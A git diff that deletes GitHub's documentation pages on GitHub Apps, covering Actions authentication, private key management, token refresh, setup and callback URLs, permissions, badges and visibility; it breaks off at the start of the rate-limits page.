a/content/apps/creating-github-apps/authenticating-with-a-github-app/making-authenticated-api-requests-with-a-github-app-in-a-github-actions-workflow.md +++ /dev/null @@ -1,56 +0,0 @@ ---- -title: Making authenticated API requests with a GitHub App in a GitHub Actions workflow -shortTitle: Authenticate in Actions workflow -intro: 'You can use an installation access token from a {% data variables.product.prodname_github_app %} to make authenticated API requests in a {% data variables.product.prodname_actions %} workflow. You can also pass the token to a custom action to enable the action to make authenticated API requests.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - GitHub Apps - - Actions -redirect_from: - - /apps/creating-github-apps/guides/making-authenticated-api-requests-with-a-github-app-in-a-github-actions-workflow - - /apps/creating-github-apps/writing-code-for-a-github-app/making-authenticated-api-requests-with-a-github-app-in-a-github-actions-workflow ---- - -## About {% data variables.product.prodname_actions %} authentication - -If you need to make authenticated API requests in a {% data variables.product.prodname_actions %} workflow or need to execute a custom action that requires a token, you should use the built-in `GITHUB_TOKEN` if possible. However, the `GITHUB_TOKEN` can only access resources within the workflow's repository. If you need to access additional resources, such as resources in an organization or in another repository, you can use a {% data variables.product.prodname_github_app %}. For more information about why you might use a {% data variables.product.prodname_github_app %} over a {% data variables.product.pat_generic %}, see [AUTOTITLE](/apps/creating-github-apps/setting-up-a-github-app/about-creating-github-apps#choosing-between-a-github-app-or-a-personal-access-token). - -## Authenticating with a {% data variables.product.prodname_github_app %} - -In order to use a {% data variables.product.prodname_github_app %} to make authenticated API requests, you must register a {% data variables.product.prodname_github_app %}, store your app's credentials, and install your app. Once this is done, you can use your app to create an installation access token, which can be used to make authenticated API requests in a {% data variables.product.prodname_actions %} workflow. You can also pass the installation access token to a custom action that requires a token. - -1. Register a {% data variables.product.prodname_github_app %}. Give your {% data variables.product.prodname_github_app %} registration the necessary permissions to access the desired resources. For more information, see [AUTOTITLE](/apps/creating-github-apps/setting-up-a-github-app/creating-a-github-app) and [AUTOTITLE](/apps/creating-github-apps/setting-up-a-github-app/choosing-permissions-for-a-github-app). -1. Store the app ID of your {% data variables.product.prodname_github_app %} as a {% data variables.product.prodname_actions %} configuration variable. You can find the app ID on the settings page for your app. The app ID is different from the client ID. For more information about navigating to the settings page for your {% data variables.product.prodname_github_app %}, see [AUTOTITLE](/apps/maintaining-github-apps/modifying-a-github-app-registration#navigating-to-your-github-app-settings). For more information about storing configuration variables, see [AUTOTITLE](/actions/learn-github-actions/variables#defining-configuration-variables-for-multiple-workflows). -1. Generate a private key for your app. Store the contents of the resulting file as a secret. (Store the entire contents of the file, including `-----BEGIN RSA PRIVATE KEY-----` and `-----END RSA PRIVATE KEY-----`.) For more information, see [AUTOTITLE](/apps/creating-github-apps/authenticating-with-a-github-app/managing-private-keys-for-github-apps). For more information about storing secrets, see [AUTOTITLE](/actions/security-guides/encrypted-secrets). -1. Install the {% data variables.product.prodname_github_app %} on your user account or organization and grant it access to any repositories that you want your workflow to access. For more information, see [AUTOTITLE](/apps/maintaining-github-apps/installing-github-apps#installing-your-private-github-app-on-your-repository). -1. In your {% data variables.product.prodname_actions %} workflow, create an installation access token, which you can use to make API requests. - - To do this, you can use a {% data variables.product.company_short %}-owned action as demonstrated in the following example. If you prefer to not use this action, you can fork and modify the [`actions/create-github-app-token` action](https://github.com/actions/create-github-app-token), or you can write a script to make your workflow create an installation token manually. For more information, see [AUTOTITLE](/apps/creating-github-apps/authenticating-with-a-github-app/authenticating-as-a-github-app-installation). - - The following example workflow uses the `actions/create-github-app-token` action to generate an installation access token. Then, the workflow uses the token to make an API request via the {% data variables.product.prodname_cli %}. - - In the following workflow, replace `APP_ID` with the name of the configuration variable where you stored your app ID. Replace `APP_PRIVATE_KEY` with the name of the secret where you stored your app private key. - -```yaml copy -on: - workflow_dispatch: -jobs: - demo_app_authentication: - runs-on: ubuntu-latest - steps: - - name: Generate a token - id: generate-token - uses: actions/create-github-app-token@v1 - with: - app-id: {% raw %}${{ vars.APP_ID }}{% endraw %} - private-key: {% raw %}${{ secrets.APP_PRIVATE_KEY }}{% endraw %} - - - name: Use the token - env: - GH_TOKEN: {% raw %}${{ steps.generate-token.outputs.token }}{% endraw %} - run: | - gh api octocat -``` diff --git a/content/apps/creating-github-apps/authenticating-with-a-github-app/managing-private-keys-for-github-apps.md b/content/apps/creating-github-apps/authenticating-with-a-github-app/managing-private-keys-for-github-apps.md deleted file mode 100644 index 3e6ec29170f2..000000000000 --- a/content/apps/creating-github-apps/authenticating-with-a-github-app/managing-private-keys-for-github-apps.md +++ /dev/null @@ -1,74 +0,0 @@ ---- -title: Managing private keys for GitHub Apps -shortTitle: Manage private keys -intro: 'You can manage private keys to authenticate with your {% data variables.product.prodname_github_app %}.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - GitHub Apps ---- - -## About private keys for {% data variables.product.prodname_github_apps %} - -After you create a {% data variables.product.prodname_github_app %}, you'll need to generate a private key in order to make requests to the {% data variables.product.github %} API as the application itself. For example, you need a private key to sign a JSON Web Token (JWT) in order to request an installation access token. For more information, see [AUTOTITLE](/apps/creating-github-apps/authenticating-with-a-github-app/generating-a-json-web-token-jwt-for-a-github-app) - -You can create {% ifversion app-key-limit %}up to 25 {% else %}multiple {% endif %}private keys for an app. You should use multiple keys in order to rotate keys without downtime in the event of a key compromise. {% ifversion app-key-limit %}If your application has 25 or more keys, you must delete some before you can create more. {% endif %} - -Private keys do not expire and instead need to be manually revoked. For more information about how to revoke or delete a private key, see [Deleting private keys](#deleting-private-keys). - -You must keep private keys for {% data variables.product.prodname_github_apps %} secure. For more information, see [Storing private keys](#storing-private-keys). - -To verify that a private key matches a public key, see [Verifying private keys](#verifying-private-keys). - -## Generating private keys - -To generate a private key: - -{% data reusables.apps.settings-step %} -{% data reusables.apps.enterprise-apps-steps %} -1. Next to the {% data variables.product.prodname_github_app %} that you want to generate a private key for, click **Edit**. -1. Under "Private keys", click **Generate a private key**. -1. You will see a private key in PEM format downloaded to your computer. Make sure to store this file because GitHub only stores the public portion of the key. For more information about securely storing your key, see [Storing private keys](#storing-private-keys). - -> [!NOTE] -> If you're using a library that requires a specific file format, the PEM file you download will be in `PKCS#1 RSAPrivateKey` format. - -## Verifying private keys - -{% data variables.product.github %} generates a fingerprint for each private and public key pair using the SHA-256 hash function. You can verify that your private key matches the public key stored on {% data variables.product.github %} by generating the fingerprint of your private key and comparing it to the fingerprint shown on {% data variables.product.github %}. - -To verify a private key: - -1. Find the fingerprint for the private and public key pair you want to verify in the "Private keys" section of the settings page for your {% data variables.product.prodname_github_app %}. For more information, see [Generating private keys](#generating-private-keys). - - ![Screenshot of a private key in a {% data variables.product.prodname_github_app %} settings page. The fingerprint, the part of the private key after the colon, is outlined in dark orange.](/assets/images/github-apps/github-apps-private-key-fingerprint.png) -1. Generate the fingerprint of your private key (PEM) locally by using the following command: - - ```shell - openssl rsa -in PATH_TO_PEM_FILE -pubout -outform DER | openssl sha256 -binary | openssl base64 - ``` - -1. Compare the results of the locally generated fingerprint to the fingerprint you see in {% data variables.product.github %}. - -## Deleting private keys - -You can remove a lost or compromised private key by deleting it, but you must regenerate a new key before you can delete the existing key. - -{% data reusables.apps.settings-step %} -{% data reusables.user-settings.developer_settings %} -{% data reusables.user-settings.github_apps %} -1. Next to the {% data variables.product.prodname_github_app %} that you want to delete a private key for, click **Edit**. -1. Under "Private keys", to the right of the private key you want to delete, click **Delete**. -1. When prompted, confirm you want to delete the private key by clicking **Delete**. If your {% data variables.product.prodname_github_app %} has only one key, you will need to generate a new key before deleting the old key. For more information, see [Generating private keys](#generating-private-keys). - -## Storing private keys - -The private key is the single most valuable secret for a {% data variables.product.prodname_github_app %}. Consider storing the key in a key vault, such as [Azure Key Vault](https://azure.microsoft.com/en-gb/products/key-vault), and making it sign-only. This helps ensure that you can't lose the private key. Once the private key is uploaded to the key vault, it can never be read from there. It can only be used to sign things, and access to the private key is determined by your infrastructure rules. - -Alternatively, you can store the key as an environment variable. This is not as strong as storing the key in a key vault. If an attacker gains access to the environment, they can read the private key and gain persistent authentication as the {% data variables.product.prodname_github_app %}. - -You should not hard-code your private key in your app, even if your code is stored in a private repository. - -For more information, see [AUTOTITLE](/apps/creating-github-apps/setting-up-a-github-app/best-practices-for-creating-a-github-app). diff --git a/content/apps/creating-github-apps/authenticating-with-a-github-app/refreshing-user-access-tokens.md b/content/apps/creating-github-apps/authenticating-with-a-github-app/refreshing-user-access-tokens.md deleted file mode 100644 index 9360e4026268..000000000000 --- a/content/apps/creating-github-apps/authenticating-with-a-github-app/refreshing-user-access-tokens.md +++ /dev/null @@ -1,55 +0,0 @@ ---- -title: Refreshing user access tokens -intro: 'To enforce regular token rotation and reduce the impact of a compromised token, you can configure your {% data variables.product.prodname_github_app %} to use user access tokens that expire.' -redirect_from: - - /apps/building-github-apps/refreshing-user-to-server-access-tokens - - /developers/apps/refreshing-user-to-server-access-tokens - - /developers/apps/building-github-apps/refreshing-user-to-server-access-tokens - - /apps/creating-github-apps/authenticating-with-a-github-app/refreshing-user-to-server-access-tokens -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - GitHub Apps -shortTitle: Refresh user access tokens ---- -## About user access tokens that expire - -> [!NOTE] -> User access tokens that expire are currently an optional feature and are subject to change. For more information, see [Expiring user-to-server access tokens for GitHub Apps](https://developer.github.com/changes/2020-04-30-expiring-user-to-server-access-tokens-for-github-apps). - -To enforce regular token rotation and reduce the impact of a compromised token, you can configure your {% data variables.product.prodname_github_app %} to use user access tokens that expire. If your app uses user access tokens that expire, then you will receive a refresh token when you generate a user access token. The user access token expires after eight hours, and the refresh token expires after six months. For more information, see [AUTOTITLE](/apps/creating-github-apps/authenticating-with-a-github-app/generating-a-user-access-token-for-a-github-app). - -You can use the refresh token to generate a new user access token and a new refresh token. Once you use a refresh token, that refresh token and the old user access token will no longer work. - -If your refresh token expires before you use it, you can regenerate a user access token and refresh token by sending users through the web application flow or device flow. For more information, see [AUTOTITLE](/apps/creating-github-apps/authenticating-with-a-github-app/generating-a-user-access-token-for-a-github-app). - -## Configuring your app to use user access tokens that expire - -When you create your app, expiration of user access tokens is enabled unless you opt out. For more information, see [AUTOTITLE](/apps/creating-github-apps/setting-up-a-github-app/creating-a-github-app). You can also configure this setting after your app has been created. - -{% data reusables.apps.settings-step %} -{% data reusables.apps.enterprise-apps-steps %} -1. Next to the {% data variables.product.prodname_github_app %} that you want to modify, click **Edit**. -1. In the {% data variables.product.prodname_github_apps %} settings sidebar, click **Optional Features**. -1. Next to "User-to-server token expiration", click **Opt-in** or **Opt-out**. This setting may take a couple of seconds to apply. - - {% data variables.product.company_short %} recommends that you opt in to this feature for improved security. - -If you opt into user access tokens that expire after you have already generated user access tokens, the previously generated user access tokens will not expire. You can delete these tokens by using the `DELETE /applications/CLIENT_ID/token` endpoint. For more information, see [AUTOTITLE](/rest/apps/oauth-applications#delete-an-app-token). - -## Refreshing a user access token with a refresh token - -1. Make a `POST` request to this URL, along with the following query parameters: `{% data variables.product.oauth_host_code %}/login/oauth/access_token` - - Query parameter | Type | Description - -----|------|------------ - `client_id` | `string` | **Required.** The client ID for your {% data variables.product.prodname_github_app %}. The client ID is different from the app ID. You can find the client ID on the settings page for your app. - `client_secret` | `string` | **Required** unless the user access token was generated using the device flow. The client secret for your {% data variables.product.prodname_github_app %}. - `grant_type` | `string` | **Required.** The value must be "refresh_token". - `refresh_token` | `string` | **Required.** The refresh token that you received when you generated a user access token. - -1. {% data variables.product.company_short %} will give a response that includes the following parameters: - - {% data reusables.apps.user-access-token-response-parameters %} diff --git a/content/apps/creating-github-apps/index.md b/content/apps/creating-github-apps/index.md deleted file mode 100644 index 362092d41b23..000000000000 --- a/content/apps/creating-github-apps/index.md +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: Creating GitHub Apps -intro: You can build GitHub Apps for yourself or others to use. -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - GitHub Apps -children: - - /about-creating-github-apps - - /registering-a-github-app - - /authenticating-with-a-github-app - - /writing-code-for-a-github-app -redirect_from: - - /apps/building-integrations/setting-up-and-registering-github-apps - - /developers/apps/building-github-apps ---- - diff --git a/content/apps/creating-github-apps/registering-a-github-app/about-the-setup-url.md b/content/apps/creating-github-apps/registering-a-github-app/about-the-setup-url.md deleted file mode 100644 index 894fd5c43375..000000000000 --- a/content/apps/creating-github-apps/registering-a-github-app/about-the-setup-url.md +++ /dev/null @@ -1,28 +0,0 @@ ---- -title: About the setup URL -intro: 'You can specify a URL that users will be redirected to after they install a {% data variables.product.prodname_github_app %}.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - GitHub Apps -shortTitle: Setup URL -redirect_from: - - /apps/creating-github-apps/setting-up-a-github-app/about-the-setup-url ---- - -When you register a {% data variables.product.prodname_github_app %}, you can specify a setup URL. When users install your {% data variables.product.prodname_github_app %}, they are redirected to the setup URL. If additional setup is required after installation, you can use this URL to tell users what steps to take next. - -If you specify a setup URL, you can also select **Redirect on update** to specify that users should be redirected to the setup URL after they update an installation. An update includes adding or removing access to a repository for an installation. - -> [!WARNING] -> When {% data variables.product.company_short %} redirects users to the setup URL, it includes an `installation_id` query parameter. Bad actors can hit this URL with a spoofed `installation_id`. Therefore, you should not rely on the validity of the `installation_id` parameter. Instead, you should generate a user access token for the user who installed the {% data variables.product.prodname_github_app %} and then check that the installation is associated with that user. For more information, see [AUTOTITLE](/apps/creating-github-apps/authenticating-with-a-github-app/generating-a-user-access-token-for-a-github-app). - -{% ifversion fpt or ghec %} -Although the setup URL is optional during {% data variables.product.prodname_github_app %} registration, it is required if you want to allow users to purchase your app in {% data variables.product.prodname_marketplace %}. For more information, see [AUTOTITLE](/apps/publishing-apps-to-github-marketplace/using-the-github-marketplace-api-in-your-app/handling-new-purchases-and-free-trials). -{% endif %} - -The setup URL is different from the callback URL. Users are redirected to the setup URL after they install a {% data variables.product.prodname_github_app %}. Users are redirected to the callback URL when they authorize a {% data variables.product.prodname_github_app %} via the web application flow. For more information, see [AUTOTITLE](/apps/creating-github-apps/setting-up-a-github-app/about-the-user-authorization-callback-url). - -For more information about registering a {% data variables.product.prodname_github_app %}, see [AUTOTITLE](/apps/creating-github-apps/setting-up-a-github-app/creating-a-github-app). For more information about modifying a {% data variables.product.prodname_github_app %} registration, see [AUTOTITLE](/apps/maintaining-github-apps/modifying-a-github-app). diff --git a/content/apps/creating-github-apps/registering-a-github-app/about-the-user-authorization-callback-url.md b/content/apps/creating-github-apps/registering-a-github-app/about-the-user-authorization-callback-url.md deleted file mode 100644 index 01cb8a9476ba..000000000000 --- a/content/apps/creating-github-apps/registering-a-github-app/about-the-user-authorization-callback-url.md +++ /dev/null @@ -1,22 +0,0 @@ ---- -title: About the user authorization callback URL -intro: 'You can specify a URL that users will be redirected to after they authorize a {% data variables.product.prodname_github_app %}.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - GitHub Apps -shortTitle: Callback URL -redirect_from: - - /apps/creating-github-apps/creating-github-apps/about-the-user-authorization-callback-url - - /apps/creating-github-apps/setting-up-a-github-app/about-the-user-authorization-callback-url ---- - -When you register a {% data variables.product.prodname_github_app %}, you can specify a callback URL. When you use the web application flow to generate a user access token in order to act on behalf of a user, users will be redirected to the callback URL after they authorize the {% data variables.product.prodname_github_app %}. - -You can specify up to 10 callback URLs. If you specify multiple callback URLs, you can use the `redirect_uri` parameter when you prompt the user to authorize your {% data variables.product.prodname_github_app %}, to indicate which callback URL the user should be redirected to. If you do not specify `redirect_uri`, the first callback URL will be used. For more information about using the `redirect_uri` parameter, see [AUTOTITLE](/apps/creating-github-apps/authenticating-with-a-github-app/generating-a-user-access-token-for-a-github-app). - -The callback URL is different from the setup URL. Users are redirected to the setup URL after they install a {% data variables.product.prodname_github_app %}. Users are redirected to the callback URL when they authorize a {% data variables.product.prodname_github_app %} via the web application flow. For more information, see [AUTOTITLE](/apps/creating-github-apps/setting-up-a-github-app/about-the-setup-url). - -For more information about generating user access tokens, see [AUTOTITLE](/apps/creating-github-apps/authenticating-with-a-github-app/generating-a-user-access-token-for-a-github-app). For more information about registering a {% data variables.product.prodname_github_app %}, see [AUTOTITLE](/apps/creating-github-apps/setting-up-a-github-app/creating-a-github-app). For more information about modifying a {% data variables.product.prodname_github_app %} registration, see [AUTOTITLE](/apps/maintaining-github-apps/modifying-a-github-app). diff --git a/content/apps/creating-github-apps/registering-a-github-app/choosing-permissions-for-a-github-app.md b/content/apps/creating-github-apps/registering-a-github-app/choosing-permissions-for-a-github-app.md deleted file mode 100644 index b244f30ce0c7..000000000000 --- a/content/apps/creating-github-apps/registering-a-github-app/choosing-permissions-for-a-github-app.md +++ /dev/null @@ -1,79 +0,0 @@ ---- -title: Choosing permissions for a GitHub App -shortTitle: Permissions -intro: 'The permissions of a GitHub App determine what the app can do with {% data variables.product.company_short %}''s APIs and what webhooks the app can receive.' -redirect_from: - - /apps/building-integrations/setting-up-and-registering-github-apps/about-permissions-for-github-apps - - /apps/building-github-apps/permissions-for-github-apps - - /apps/building-github-apps/setting-permissions-for-github-apps - - /developers/apps/setting-permissions-for-github-apps - - /developers/apps/building-github-apps/setting-permissions-for-github-apps - - /apps/creating-github-apps/creating-github-apps/setting-permissions-for-github-apps - - /apps/creating-github-apps/creating-github-apps/choosing-permissions-for-a-github-app - - /apps/creating-github-apps/setting-up-a-github-app/choosing-permissions-for-a-github-app -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - GitHub Apps ---- - -## About {% data variables.product.prodname_github_app %} permissions - -{% data variables.product.prodname_github_apps %} don't have any permissions by default. When you register a {% data variables.product.prodname_github_app %}, you can select permissions for the app. The permissions that you select determine what the app can do with {% data variables.product.company_short %}'s APIs and what webhooks the app can subscribe to. You should select the minimum permissions required for the app. - -Although {% data variables.product.prodname_github_apps %} don't have any permissions by default, they do have implicit permissions to read public resources when acting on behalf of a user. When a user authorizes the app to act on their behalf, the {% data variables.product.prodname_github_app %} can use the resulting user access token to make requests to the REST API and the GraphQL API to read public resources. To learn more about acting on behalf of a user, see [AUTOTITLE](/apps/creating-github-apps/authenticating-with-a-github-app/authenticating-with-a-github-app-on-behalf-of-a-user). - -App permissions are classified as repository, organization, or account permissions. Repository permissions allow your app to access resources related to repositories that are owned by the account where the app is installed. Organization permissions allow your app to access resources related to the organization where the app is installed, if it is installed on an organization account. Account permissions allow your app to access resources related to a user if the user has also authorized your app. For more information about user authorization of apps, see [AUTOTITLE](/apps/creating-github-apps/authenticating-with-a-github-app/authenticating-with-a-github-app-on-behalf-of-a-user). - -When a user installs an app on their account or organization, they see and grant the repository and organization permissions that the app requested. They will also see a list of account permissions that the app can request for individual users. When a user authorizes an app to act on their behalf, they will see and grant the account permissions that the app requested. - -The success of an API request with a user access token depends on the user's permissions as well as the app's permissions. For example, if the app was granted permission to write the contents of a repository, but the user can only read the contents, then the user access token can only read the contents. The success of an API request with an installation access token only depends on the app's permissions. - -For more information about specifying permissions during {% data variables.product.prodname_github_app %} registration, see [AUTOTITLE](/apps/creating-github-apps/setting-up-a-github-app/creating-a-github-app). - -Some webhooks and API access requires "Administration" permissions. If your app requires "Administration" permissions, consider explaining this requirement on your app's homepage. This will help users understand why your app needs a high level permission. - -## About changes to permissions - -You can modify the permissions for apps you own or manage at any time.{% ifversion enterprise-apps-public-beta %} - -* When you modify the permissions of an app owned by an **enterprise account**, the changes are automatically accepted by organizations in the enterprise. -* When you modify the permissions of an app owned by a **user or organization**,{% else %} When you do so,{% endif %} the owner of each account where the app was installed will be prompted to approve the new permissions. If the account owner does not approve the new permissions, their installation will continue to use the old permissions. - -For more information about modifying permissions, see [AUTOTITLE](/apps/maintaining-github-apps/editing-a-github-apps-permissions). - -## Choosing permissions for webhook access - -The webhook documentation indicates whether each webhook is available to {% data variables.product.prodname_github_apps %}. For each webhook that you want to subscribe to, refer to the webhook documentation to see what permissions a {% data variables.product.prodname_github_app %} needs to subscribe to that webhook. For more information, see [AUTOTITLE](/webhooks-and-events/webhooks/webhook-events-and-payloads). - -For example, if you want your app to subscribe to `team` events, your app must have the "Members" organization permission. - -On your {% data variables.product.prodname_github_app %} registration page, the available webhook events will change as you change your app's permissions. If you did not select sufficient permissions for your {% data variables.product.prodname_github_app %} to subscribe to an event, the event will not appear as an option on your app registration page. - -## Choosing permissions for REST API access - -The REST API reference documentation for each endpoint states whether the endpoint works with {% data variables.product.prodname_github_apps %} and states what permissions are required in order for the app to use the endpoint. Some endpoints may require multiple permissions, and some endpoints may require one of multiple permissions. For an overview of which REST API endpoints a {% data variables.product.prodname_github_app %} can access with each permission, see [AUTOTITLE](/rest/overview/permissions-required-for-github-apps). - -For example, to use the `GET /orgs/{org}/dependabot/secrets` endpoint, your app must have at least read-level permission for the "organization dependabot secrets" permission. - -If your app makes a REST API request with insufficient permissions, the API will return a `403` response. - -{% data reusables.rest-api.permission-header %} - -## Choosing permissions for GraphQL API access - -For GraphQL requests, you should test your app to ensure that it has the required permissions for the GraphQL queries and mutations that you want to make. - -If your app makes a GraphQL API query or mutation with insufficient permissions, the API will return a `401` response. - -## Choosing permissions for Git access - -If you want your app to use an installation or user access token to authenticate for HTTP-based Git access, you should request the "Contents" repository permission. If your app specifically needs to access or edit Actions files in the `.github/workflows` directory, request the "Workflows" repository permission. - -You can then use the access token as the HTTP password. Replace `TOKEN` with the access token: - -```shell -git clone https://x-access-token:TOKEN@github.com/owner/repo.git -``` diff --git a/content/apps/creating-github-apps/registering-a-github-app/creating-a-custom-badge-for-your-github-app.md b/content/apps/creating-github-apps/registering-a-github-app/creating-a-custom-badge-for-your-github-app.md deleted file mode 100644 index 1d009ff81c6a..000000000000 --- a/content/apps/creating-github-apps/registering-a-github-app/creating-a-custom-badge-for-your-github-app.md +++ /dev/null @@ -1,58 +0,0 @@ ---- -title: Creating a custom badge for your GitHub App -intro: '{% data reusables.shortdesc.creating_custom_badges_github_apps %}' -redirect_from: - - /apps/building-github-apps/creating-custom-badges-for-github-apps - - /developers/apps/creating-a-custom-badge-for-your-github-app - - /developers/apps/building-github-apps/creating-a-custom-badge-for-your-github-app - - /apps/creating-github-apps/creating-github-apps/creating-a-custom-badge-for-your-github-app - - /apps/creating-github-apps/setting-up-a-github-app/creating-a-custom-badge-for-your-github-app -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - GitHub Apps -shortTitle: Custom badge ---- - -## About badges - -Every {% data variables.product.prodname_github_app %} has a badge. A badge is a square image inside a circular background. - -By default, a new GitHub App will use an automatically generated identicon as a badge. An identicon badge looks something like this: - -![Screenshot of an identicon, which consists of white pixels in a random pattern on a circular yellow background.](/assets/images/help/apps/identicon.png) - -After you register a GitHub App, you can customize your app's badge by uploading a logo and selecting a background color. Your logo should be a PNG, JPG, or GIF file under 1 MB in size. For the best quality rendering, we recommend an image dimension of 200 pixels by 200 pixels. - -{% ifversion fpt or ghec %} - -For more information about badges for {% data variables.product.prodname_github_apps %} in {% data variables.product.prodname_marketplace %}, see [AUTOTITLE](/apps/publishing-apps-to-github-marketplace/listing-an-app-on-github-marketplace/writing-a-listing-description-for-your-app#guidelines-for-logos). You can change a custom badge for a GitHub App that already has an approved Marketplace listing by navigating to https://github.com/marketplace/manage. - -{% endif %} - -## Creating a custom badge - -{% data reusables.apps.settings-step %} -{% data reusables.apps.enterprise-apps-steps %} -{% data reusables.user-settings.modify_github_app %} -1. Under "Display information", drag and drop an image from a local folder or click **Upload a logo** to select an image from your computer. -1. Optionally, crop your image. -1. Click **Set new avatar**. -1. Under "Badge background color", type the hexadecimal color code of the background color for your badge. - -{% ifversion fpt or ghec %} - - > [!NOTE] - > The "Badge background color" input field will only appear after you upload a logo. - -{% endif %} - -{% ifversion fpt or ghec %} - -## Next steps - -For more information about listing your {% data variables.product.prodname_github_app %} in {% data variables.product.prodname_marketplace %}, see [AUTOTITLE](/apps/publishing-apps-to-github-marketplace/listing-an-app-on-github-marketplace). - -{% endif %} diff --git a/content/apps/creating-github-apps/registering-a-github-app/index.md b/content/apps/creating-github-apps/registering-a-github-app/index.md deleted file mode 100644 index ff4bae29901e..000000000000 --- a/content/apps/creating-github-apps/registering-a-github-app/index.md +++ /dev/null @@ -1,24 +0,0 @@ ---- -title: 'Registering a {% data variables.product.prodname_github_app %}' -intro: 'Learn about building {% data variables.product.prodname_github_apps %}.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -redirect_from: - - /apps/building-github-apps - - /apps/creating-github-apps/creating-github-apps - - /apps/creating-github-apps/setting-up-a-github-app -topics: - - GitHub Apps -children: - - /registering-a-github-app - - /about-the-user-authorization-callback-url - - /about-the-setup-url - - /choosing-permissions-for-a-github-app - - /using-webhooks-with-github-apps - - /making-a-github-app-public-or-private - - /rate-limits-for-github-apps - - /creating-a-custom-badge-for-your-github-app ---- - diff --git a/content/apps/creating-github-apps/registering-a-github-app/making-a-github-app-public-or-private.md b/content/apps/creating-github-apps/registering-a-github-app/making-a-github-app-public-or-private.md deleted file mode 100644 index 085176ab7e02..000000000000 --- a/content/apps/creating-github-apps/registering-a-github-app/making-a-github-app-public-or-private.md +++ /dev/null @@ -1,53 +0,0 @@ ---- -title: Making a GitHub App public or private -intro: 'When registering a {% data variables.product.prodname_github_app %}, you can make it public so that other GitHub users or organizations can install the app, or private so that you can only install it on the account that owns the app.' -redirect_from: - - /apps/building-integrations/setting-up-and-registering-github-apps/about-installation-options-for-github-apps - - /apps/building-github-apps/installation-options-for-github-apps - - /apps/building-integrations/managing-github-apps/changing-a-github-app-s-installation-option - - /apps/managing-github-apps/changing-a-github-app-s-installation-option - - /apps/managing-github-apps/making-a-github-app-public-or-private - - /developers/apps/making-a-github-app-public-or-private - - /developers/apps/managing-github-apps/making-a-github-app-public-or-private - - /apps/creating-github-apps/creating-github-apps/making-a-github-app-public-or-private - - /apps/creating-github-apps/setting-up-a-github-app/making-a-github-app-public-or-private -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - GitHub Apps -shortTitle: Visibility ---- - -## About visibility for {% data variables.product.prodname_github_apps %} - -A {% data variables.product.prodname_github_app %} can be {% ifversion fpt %}public or private{% elsif enterprise-apps-public-beta %}public, private, or internal{% endif %}.{% ifversion fpt or ghec %} If you set your {% data variables.product.prodname_github_app %} registration to public, any user on {% data variables.product.github %} can install it. If you set your {% data variables.product.prodname_github_app %} registration to private, it can only be installed on the account that owns the app. - -{% elsif ghes %} If you set your {% data variables.product.prodname_github_app %} registration to public, anyone on your {% data variables.product.prodname_ghe_server %} instance can install it, but the app is not available outside of your instance. If you set your {% data variables.product.prodname_github_app %} registration to private, it can only be installed on the account that owns the app.{% endif %} - -{% ifversion enterprise-apps-public-beta %} -{% data variables.product.prodname_github_apps %} owned by an enterprise account{% ifversion ghec %}, or by a {% data variables.enterprise.prodname_managed_user %} in an enterprise,{% endif %} have "internal" visibility. Internal apps can only be installed by organizations within the enterprise and authorized by users within the enterprise. Members of the enterprise and unaffiliated users can authorize these apps, but outside collaborators cannot. -{% endif %} - -If you want your {% data variables.product.prodname_github_app %} to be available to organizations in a {% data variables.product.prodname_ghe_server %} instance that you are not part of, then you need to take additional steps. For more information, see [AUTOTITLE](/apps/sharing-github-apps/making-your-github-app-available-for-github-enterprise-server). - -If it is important for {% ifversion ghes %}other {% endif %}{% data variables.product.prodname_ghe_server %} users to be able to use your tool, consider using {% data variables.product.prodname_actions %} instead of a {% data variables.product.prodname_github_app %}. Public actions are available on {% data variables.product.prodname_ghe_server %} instances with GitHub Connect. For more information, see [AUTOTITLE]({% ifversion not ghes %}/enterprise-server@latest{% endif %}/admin/github-actions/managing-access-to-actions-from-githubcom/enabling-automatic-access-to-githubcom-actions-using-github-connect) and [AUTOTITLE]({% ifversion not ghes %}/enterprise-server@latest{% endif %}/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/about-github-actions-for-enterprises){% ifversion ghes %}.{% else %} in the {% data variables.product.prodname_ghe_server %} documentation.{% endif %} - -For information about changing the visibility of a {% data variables.product.prodname_github_app %} registration, see [AUTOTITLE](/apps/maintaining-github-apps/modifying-a-github-app). - -### Public installation flow - -Public {% data variables.product.prodname_github_apps %} have a landing page with an **Install** button, so that other people can install the app in their repositories. {% ifversion fpt or ghec %}If your {% data variables.product.prodname_github_app %} is public to all users on {% data variables.product.github %}, you can also choose to publish it to {% data variables.product.prodname_marketplace %}. For more information, see [AUTOTITLE](/apps/publishing-apps-to-github-marketplace/github-marketplace-overview/about-github-marketplace).{% endif %} - -### Private installation flow - -Private {% data variables.product.prodname_github_apps %} can only be installed on the user or organization account of the app owner. Limited information about the app will exist on a landing page for the app, but the **Install** button will only be available to organization owners and app managers for the organization that owns the app, or the personal account if the {% data variables.product.prodname_github_app %} is owned by an individual account. - -{% ifversion enterprise-apps-public-beta %} - -### "Internal" installation flow - -Enterprise-owned {% data variables.product.prodname_github_apps %}{% ifversion ghec %} and apps owned by {% data variables.enterprise.prodname_managed_users %}{% endif %} can only be installed by organization owners of organizations within the enterprise by using the installation URL. The app can not be installed on user accounts. - -{% endif %} diff --git a/content/apps/creating-github-apps/registering-a-github-app/rate-limits-for-github-apps.md b/content/apps/creating-github-apps/registering-a-github-app/rate-limits-for-github-apps.md deleted file mode 100644 index c4f36aa0e0aa..000000000000 --- a/content/apps/creating-github-apps/registering-a-github-app/rate-limits-for-github-apps.md +++ /dev/null @@ -1,38 +0,0 @@ ---- -title: Rate limits for GitHub Apps -intro: '{% data reusables.shortdesc.rate_limits_apps %}' -redirect_from: - - /early-access/integrations/rate-limits - - /apps/building-integrations/setting-up-and-registering-github-apps/about-rate-limits-for-github-apps - - /apps/building-github-apps/rate-limits-for-github-apps - - /apps/building-github-apps/understanding-rate-limits-for-github-apps - - /developers/apps/rate-limits-for-github-apps - - 